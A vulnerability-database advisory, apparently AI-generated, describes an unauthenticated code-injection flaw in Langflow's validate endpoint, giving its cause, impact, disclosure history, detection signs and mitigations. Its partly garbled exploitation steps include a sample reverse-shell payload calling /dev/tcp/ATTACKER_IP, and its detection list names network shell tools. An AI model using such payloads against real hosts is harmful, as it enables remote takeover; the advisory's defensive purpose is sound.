
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-0768 is a code injection vulnerability in Langflow that allows unauthenticated remote attackers to execute arbitrary code on affected installations. The flaw exists within the handling of the code parameter provided to the validate endpoint, where user-supplied input is passed directly to a Python code execution routine without proper validation. The vulnerability was reported to the vendor on July 18, 2025, and published as a 0-day advisory on January 9, 2026, after the vendor failed to release a patch. It affects Langflow version 1.4.2 and carries a CVSS v3.0 base score of 9.8 (Critical) (ZDI Advisory).
The root cause is classified as CWE-94 (Improper Control of Generation of Code / Code Injection): Langflow's validate endpoint accepts a code parameter and passes it unsanitized to a Python execution context, allowing arbitrary Python code to run server-side (ZDI Advisory). The attack vector is network-based, requires no authentication, no user interaction, and low attack complexity, making it trivially exploitable by any remote attacker. Code executes in the context of root, meaning no privilege escalation step is needed post-exploitation. The vulnerability was internally tracked as ZDI-CAN-27322 and was discovered by Peter Girnus (@gothburz), William Gamazo Sanchez, and Alfredo Oliveira of Trend Research (ZDI Advisory).
Successful exploitation grants an unauthenticated remote attacker full code execution as root on the affected Langflow host, resulting in complete compromise of confidentiality, integrity, and availability. An attacker can read or exfiltrate all data accessible to the process, modify or destroy data, install persistent backdoors, and use the compromised host as a pivot point for lateral movement within the network. Given that Langflow is an AI/LLM workflow platform, sensitive API keys, model configurations, and connected data sources may also be at risk (ZDI Advisory, Feedly).
The ZDI published this as a 0-day advisory on January 9, 2026, after the vendor did not release a patch despite being notified in July 2025 and receiving multiple follow-ups (ZDI Advisory). A proof-of-concept exploit reference is publicly available via the ZDI advisory, and a GitHub exploit entry has also been indexed (vulners ID: 360E931F-6BAA-5EF5-B37A-369E51501924). The EPSS score is approximately 0.0165 (1.65%), and there is no current evidence of confirmed in-the-wild exploitation or CISA KEV catalog listing as of the time of this report. No specific threat actor attribution has been made.
/api/v1/validate/code or equivalent) to confirm it is accessible and responsive.code parameter containing arbitrary Python code, such as a reverse shell payload (e.g., import os; os.system('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1')) or a command to exfiltrate data.code parameter — no authentication headers or tokens are required./api/v1/validate/code or similar validate endpoint with large or encoded code parameter values.bash, sh, curl, wget, python3) with network activity; processes running as root that are not typical Langflow operations./tmp or world-writable directories.As of the advisory publication date (January 9, 2026), no vendor patch was available for CVE-2026-0768 (ZDI Advisory). The only recommended mitigation is to restrict network access to Langflow installations — place the application behind a firewall or VPN, limit access to trusted IP ranges only, and avoid exposing the validate endpoint to the public internet. Organizations should consider taking affected Langflow instances offline until a security patch is released. Network segmentation and monitoring for anomalous outbound connections from the Langflow host are also advised as compensating controls.
The vulnerability was covered by The Hacker Wire, which published both a brief vulnerability listing and a dedicated technical article on the unauthenticated code injection in Langflow's validate endpoint (The Hacker Wire). The ZDI's decision to publish as a 0-day after five months of vendor non-response drew attention on social media platforms including Mastodon (infosec.exchange) and Bluesky. The case highlights ongoing concerns about AI/LLM tooling vendors' responsiveness to security disclosures, particularly for platforms that may be deployed with elevated privileges.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."